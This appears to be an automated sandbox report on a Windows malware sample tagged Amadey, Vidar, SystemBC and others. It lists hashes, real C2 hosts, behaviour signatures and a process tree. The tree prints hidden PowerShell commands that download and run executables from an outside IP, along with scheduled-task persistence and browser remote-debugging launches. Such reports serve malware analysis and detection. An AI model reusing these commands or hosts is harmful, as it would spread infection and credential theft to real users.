Overview

overview

10

Static

static

3

f5ff8a614f...a5.exe

windows7-x64

10

f5ff8a614f...a5.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    24/02/2025, 13:38

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    f5ff8a614f7c4b46d0b1e60dc1b0af7a8ceedb2e96155d8848d74ff16e48d7a5.exe

  • Size

    2.1MB

  • MD5

    78ec3bb0db3cee811be50f99dd89e2fe

  • SHA1

    1ec0122be4458914a8b07c7b0bf34faf47d14c19

  • SHA256

    f5ff8a614f7c4b46d0b1e60dc1b0af7a8ceedb2e96155d8848d74ff16e48d7a5

  • SHA512

    d36b32948ad76a558bbb3dbcbbdfeb911f581ab59b4a7502c09e5b4479b0fe9976cd473870f7dd7717da5c2639817c9990388d39f42e712410533b04893da082

  • SSDEEP

    49152:72uYHCURuAzQUhgo6/9xe69ewmorXSm9WqV68OAyf:yDigfzZh2/1JL1WI6Bf

Score
10/10
amadeygcleanerhealersystembcvidar9c9aa5a4d2cdcredential_accessdefense_evasiondiscoverydropperevasionexecutionloaderpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

C2

http://185.215.113.43

Attributes
  • install_dir

    abc3bc1985

  • install_file

    skotes.exe

  • strings_key

    8a35cf2ea38c2817dba29a4b5b25dcf0

  • url_paths

    /Zu7JuNko/index.php

rc4.plain

Extracted

Family

amadey

Version

5.21

Botnet

a4d2cd

C2

http://cobolrationumelawrtewarms.com

http://�������� jlgenfekjlfnvtgpegkwr.xyz
Attributes
  • install_dir

    a58456755d

  • install_file

    Gxtuum.exe

  • strings_key

    00fadbeacf092dfd58b48ef4ac68f826

  • url_paths

    /3ofn3jf3e2ljk/index.php

rc4.plain

Extracted

Family

systembc

C2

towerbingobongoboom.com

93.186.202.3
Attributes
  • dns

    5.132.191.104

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Vidar Stealer 6 IoCs
    stealer
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • SystemBC

    SystemBC is a proxy and remote administration tool first seen in 2019.

    trojansystembc
  • Systembc family
    systembc
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 16 IoCs
    defense_evasion
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 7 IoCs
  • Uses browser remote debugging 2 TTPs 4 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks BIOS information in registry 2 TTPs 32 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 25 IoCs
  • Identifies Wine through registry keys 2 TTPs 16 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 48 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 16 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Windows directory 3 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies system certificate store 2 TTPs 5 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 58 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of FindShellTrayWindow 39 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f5ff8a614f7c4b46d0b1e60dc1b0af7a8ceedb2e96155d8848d74ff16e48d7a5.exe
    "C:\Users\Admin\AppData\Local\Temp\f5ff8a614f7c4b46d0b1e60dc1b0af7a8ceedb2e96155d8848d74ff16e48d7a5.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
      "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Downloads MZ/PE file
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2716
      • C:\Users\Admin\AppData\Local\Temp\1091646001\HsDTj78.exe
        "C:\Users\Admin\AppData\Local\Temp\1091646001\HsDTj78.exe"
        3⤵
        • Executes dropped EXE
        PID:2940
      • C:\Users\Admin\AppData\Local\Temp\1091668001\KsqTMuf.exe
        "C:\Users\Admin\AppData\Local\Temp\1091668001\KsqTMuf.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1740
        • C:\Users\Admin\AppData\Local\Temp\1091668001\KsqTMuf.exe
          "C:\Users\Admin\AppData\Local\Temp\1091668001\KsqTMuf.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:2820
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1740 -s 68
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:1608
      • C:\Users\Admin\AppData\Local\Temp\1091674001\lFlj2tl.exe
        "C:\Users\Admin\AppData\Local\Temp\1091674001\lFlj2tl.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        PID:2996
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
          4⤵
          • Uses browser remote debugging
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:2164
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef70e9758,0x7fef70e9768,0x7fef70e9778
            5⤵
              PID:2776
            • C:\Windows\system32\ctfmon.exe
              ctfmon.exe
              5⤵
                PID:2708
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1136 --field-trial-handle=1192,i,6655697919647179680,11338488709471288450,131072 /prefetch:2
                5⤵
                  PID:1728
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1488 --field-trial-handle=1192,i,6655697919647179680,11338488709471288450,131072 /prefetch:8
                  5⤵
                    PID:1624
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1100 --field-trial-handle=1192,i,6655697919647179680,11338488709471288450,131072 /prefetch:8
                    5⤵
                      PID:2016
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2360 --field-trial-handle=1192,i,6655697919647179680,11338488709471288450,131072 /prefetch:1
                      5⤵
                      • Uses browser remote debugging
                      PID:1316
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2384 --field-trial-handle=1192,i,6655697919647179680,11338488709471288450,131072 /prefetch:1
                      5⤵
                      • Uses browser remote debugging
                      PID:1292
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1120 --field-trial-handle=1192,i,6655697919647179680,11338488709471288450,131072 /prefetch:2
                      5⤵
                        PID:2604
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2276 --field-trial-handle=1192,i,6655697919647179680,11338488709471288450,131072 /prefetch:1
                        5⤵
                        • Uses browser remote debugging
                        PID:1828
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3496 --field-trial-handle=1192,i,6655697919647179680,11338488709471288450,131072 /prefetch:8
                        5⤵
                          PID:1996
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3616 --field-trial-handle=1192,i,6655697919647179680,11338488709471288450,131072 /prefetch:8
                          5⤵
                            PID:2288
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3616 --field-trial-handle=1192,i,6655697919647179680,11338488709471288450,131072 /prefetch:8
                            5⤵
                              PID:2924
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\5phva" & exit
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:2544
                            • C:\Windows\SysWOW64\timeout.exe
                              timeout /t 10
                              5⤵
                              • System Location Discovery: System Language Discovery
                              • Delays execution with timeout.exe
                              PID:1980
                        • C:\Users\Admin\AppData\Local\Temp\1091693101\dbf56223ab.exe
                          "C:\Users\Admin\AppData\Local\Temp\1091693101\dbf56223ab.exe"
                          3⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          • Suspicious use of WriteProcessMemory
                          PID:264
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c schtasks /create /tn kBltRmaI8Wg /tr "mshta C:\Users\Admin\AppData\Local\Temp\hETCfbLxc.hta" /sc minute /mo 25 /ru "Admin" /f
                            4⤵
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:3004
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /create /tn kBltRmaI8Wg /tr "mshta C:\Users\Admin\AppData\Local\Temp\hETCfbLxc.hta" /sc minute /mo 25 /ru "Admin" /f
                              5⤵
                              • System Location Discovery: System Language Discovery
                              • Scheduled Task/Job: Scheduled Task
                              PID:2436
                          • C:\Windows\SysWOW64\mshta.exe
                            mshta C:\Users\Admin\AppData\Local\Temp\hETCfbLxc.hta
                            4⤵
                            • System Location Discovery: System Language Discovery
                            • Modifies Internet Explorer settings
                            • Suspicious use of WriteProcessMemory
                            PID:2776
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'AAVUNL529HLYJ9RPGTBNFJMHDSCRI4WF.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
                              5⤵
                              • Blocklisted process makes network request
                              • Command and Scripting Interpreter: PowerShell
                              • Downloads MZ/PE file
                              • Loads dropped DLL
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:1756
                              • C:\Users\Admin\AppData\Local\TempAAVUNL529HLYJ9RPGTBNFJMHDSCRI4WF.EXE
                                "C:\Users\Admin\AppData\Local\TempAAVUNL529HLYJ9RPGTBNFJMHDSCRI4WF.EXE"
                                6⤵
                                • Modifies Windows Defender DisableAntiSpyware settings
                                • Modifies Windows Defender Real-time Protection settings
                                • Modifies Windows Defender TamperProtection settings
                                • Modifies Windows Defender notification settings
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Windows security modification
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2944
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\1091694021\am_no.cmd" "
                          3⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:1580
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1091694021\am_no.cmd" any_word
                            4⤵
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:2156
                            • C:\Windows\SysWOW64\timeout.exe
                              timeout /t 2
                              5⤵
                              • System Location Discovery: System Language Discovery
                              • Delays execution with timeout.exe
                              PID:1044
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                              5⤵
                              • System Location Discovery: System Language Discovery
                              PID:1480
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                6⤵
                                • Command and Scripting Interpreter: PowerShell
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1700
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                              5⤵
                              • System Location Discovery: System Language Discovery
                              PID:1676
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                6⤵
                                • Command and Scripting Interpreter: PowerShell
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:872
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                              5⤵
                              • System Location Discovery: System Language Discovery
                              PID:2148
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                6⤵
                                • Command and Scripting Interpreter: PowerShell
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2052
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /create /tn "qhfSJmalPrD" /tr "mshta \"C:\Temp\hWO8LyeS1.hta\"" /sc minute /mo 25 /ru "Admin" /f
                              5⤵
                              • System Location Discovery: System Language Discovery
                              • Scheduled Task/Job: Scheduled Task
                              PID:2392
                            • C:\Windows\SysWOW64\mshta.exe
                              mshta "C:\Temp\hWO8LyeS1.hta"
                              5⤵
                              • System Location Discovery: System Language Discovery
                              • Modifies Internet Explorer settings
                              PID:2532
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
                                6⤵
                                • Blocklisted process makes network request
                                • Command and Scripting Interpreter: PowerShell
                                • Downloads MZ/PE file
                                • Loads dropped DLL
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2780
                                • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                                  "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                                  7⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Identifies Wine through registry keys
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2056
                        • C:\Users\Admin\AppData\Local\Temp\1091695001\NthMhDa.exe
                          "C:\Users\Admin\AppData\Local\Temp\1091695001\NthMhDa.exe"
                          3⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Loads dropped DLL
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Drops file in Windows directory
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of FindShellTrayWindow
                          PID:1644
                          • C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
                            "C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"
                            4⤵
                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                            • Checks BIOS information in registry
                            • Executes dropped EXE
                            • Identifies Wine through registry keys
                            • Loads dropped DLL
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            PID:628
                            • C:\Users\Admin\AppData\Local\Temp\10000370101\inet.exe
                              "C:\Users\Admin\AppData\Local\Temp\10000370101\inet.exe"
                              5⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Drops file in Windows directory
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1804
                        • C:\Users\Admin\AppData\Local\Temp\1091723001\GKjci28.exe
                          "C:\Users\Admin\AppData\Local\Temp\1091723001\GKjci28.exe"
                          3⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:2912
                        • C:\Users\Admin\AppData\Local\Temp\1091744001\728eb8fad7.exe
                          "C:\Users\Admin\AppData\Local\Temp\1091744001\728eb8fad7.exe"
                          3⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:2880
                          • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                            "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                            4⤵
                            • Downloads MZ/PE file
                            • Loads dropped DLL
                            • System Location Discovery: System Language Discovery
                            PID:2264
                        • C:\Users\Admin\AppData\Local\Temp\1091745001\fefef60740.exe
                          "C:\Users\Admin\AppData\Local\Temp\1091745001\fefef60740.exe"
                          3⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:2652
                          • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                            "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                            4⤵
                            • Downloads MZ/PE file
                            • Loads dropped DLL
                            • System Location Discovery: System Language Discovery
                            PID:1548
                        • C:\Users\Admin\AppData\Local\Temp\1091747001\ff28c3aaec.exe
                          "C:\Users\Admin\AppData\Local\Temp\1091747001\ff28c3aaec.exe"
                          3⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          PID:2572
                        • C:\Users\Admin\AppData\Local\Temp\1091749001\2f4444c5a8.exe
                          "C:\Users\Admin\AppData\Local\Temp\1091749001\2f4444c5a8.exe"
                          3⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          • Modifies system certificate store
                          PID:2232
                        • C:\Users\Admin\AppData\Local\Temp\1091751001\KsqTMuf.exe
                          "C:\Users\Admin\AppData\Local\Temp\1091751001\KsqTMuf.exe"
                          3⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          PID:2468
                          • C:\Users\Admin\AppData\Local\Temp\1091751001\KsqTMuf.exe
                            "C:\Users\Admin\AppData\Local\Temp\1091751001\KsqTMuf.exe"
                            4⤵
                            • Executes dropped EXE
                            PID:1316
                          • C:\Users\Admin\AppData\Local\Temp\1091751001\KsqTMuf.exe
                            "C:\Users\Admin\AppData\Local\Temp\1091751001\KsqTMuf.exe"
                            4⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2000
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2468 -s 508
                            4⤵
                            • Loads dropped DLL
                            • Program crash
                            PID:2576
                        • C:\Users\Admin\AppData\Local\Temp\1091752001\NthMhDa.exe
                          "C:\Users\Admin\AppData\Local\Temp\1091752001\NthMhDa.exe"
                          3⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious behavior: EnumeratesProcesses
                          PID:2992
                        • C:\Users\Admin\AppData\Local\Temp\1091753001\HsDTj78.exe
                          "C:\Users\Admin\AppData\Local\Temp\1091753001\HsDTj78.exe"
                          3⤵
                          • Executes dropped EXE
                          PID:2280
                        • C:\Users\Admin\AppData\Local\Temp\1091754001\GKjci28.exe
                          "C:\Users\Admin\AppData\Local\Temp\1091754001\GKjci28.exe"
                          3⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:2276
                        • C:\Users\Admin\AppData\Local\Temp\1091755001\Hdn6gzf.exe
                          "C:\Users\Admin\AppData\Local\Temp\1091755001\Hdn6gzf.exe"
                          3⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:936
                        • C:\Users\Admin\AppData\Local\Temp\1091756001\Hdn6gzf.exe
                          "C:\Users\Admin\AppData\Local\Temp\1091756001\Hdn6gzf.exe"
                          3⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:600
                    • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                      "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                      1⤵
                        PID:2124
                      • C:\Windows\system32\taskeng.exe
